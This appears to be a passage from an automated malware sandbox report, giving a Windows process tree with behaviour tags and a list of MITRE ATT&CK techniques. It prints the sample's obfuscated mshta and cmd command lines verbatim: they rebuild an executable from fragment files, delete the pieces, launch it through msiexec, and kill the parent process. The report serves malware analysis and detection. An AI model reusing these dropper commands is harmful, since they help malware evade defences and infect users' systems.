C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3456 -ip 3456
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4048 -ip 4048
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3996

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 9f37403d6cad5716affacfcd89efc16b mjWUthPFQk20scR9PlKIJA.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:2216

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3924
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4140
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 448
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:4912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4140 -ip 4140
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3092

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 508 -p 5148 -ip 5148
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:3592
- C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  2⤵
  PID:5808
- C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  2⤵
  PID:6640

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\R2qFaC32YPDWBCDGpMyAMKJq.exe" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02&iF "" == "" for %I iN ( "C:\Users\Admin\Pictures\Adobe Films\R2qFaC32YPDWBCDGpMyAMKJq.exe" ) do taskkill -iM "%~NXI" -f
1⤵
PID:6080
- C:\Windows\SysWOW64\taskkill.exe
  taskkill -iM "R2qFaC32YPDWBCDGpMyAMKJq.exe" -f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5352
- C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE
  ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02
  2⤵
  - Executes dropped EXE
  PID:5248
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" vBScripT: clOse(cREaTeObJECT( "wscRIPt.SHELL" ).rUN( "cMd /q /R Echo | SeT /P = ""MZ"" > 9Ym~JXRX.Lb3 & COpY /b /Y 9YM~jXrX.Lb3+ OFnDRVX.8L3 + n7gDJN.Z + S0esI.qY + VOPW5P.PE + qDrS.CQ~ + U78WYSY.oFM +f36Uy3.T ..\bJUC.L & DEl /q *& STArt msiexec.exe /Y ..\bjUC.l " , 0, trUE ))
    3⤵
    PID:6812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /q /R Echo | SeT /P = "MZ" > 9Ym~JXRX.Lb3 &COpY /b /Y 9YM~jXrX.Lb3+OFnDRVX.8L3+ n7gDJN.Z + S0esI.qY + VOPW5P.PE +qDrS.CQ~+ U78WYSY.oFM +f36Uy3.T ..\bJUC.L& DEl /q *&STArt msiexec.exe /Y ..\bjUC.l
      4⤵
      PID:6220
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /P = "MZ" 1>9Ym~JXRX.Lb3"
        5⤵
        
        PID:3904
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        5⤵
        
        PID:6960
    - - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe /Y ..\bjUC.l
        5⤵
        Loads dropped DLL
        
        PID:3140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4696 -ip 4696
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5884

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE"" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF ""-PMDrnm85Xpfala4uMu02"" == """" for %I iN ( ""C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE"" ) do taskkill -iM ""%~NXI"" -f " , 0, tRue ) )
1⤵
PID:1532
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02&iF "-PMDrnm85Xpfala4uMu02" == "" for %I iN ( "C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE" ) do taskkill -iM "%~NXI" -f
  2⤵
  PID:5516
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4544 -ip 4544
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 5204 -ip 5204
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5144 -ip 5144
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 5816 -ip 5816
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 1344 -ip 1344
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 4180 -ip 4180
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6624

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 9f37403d6cad5716affacfcd89efc16b mjWUthPFQk20scR9PlKIJA.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:5668

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery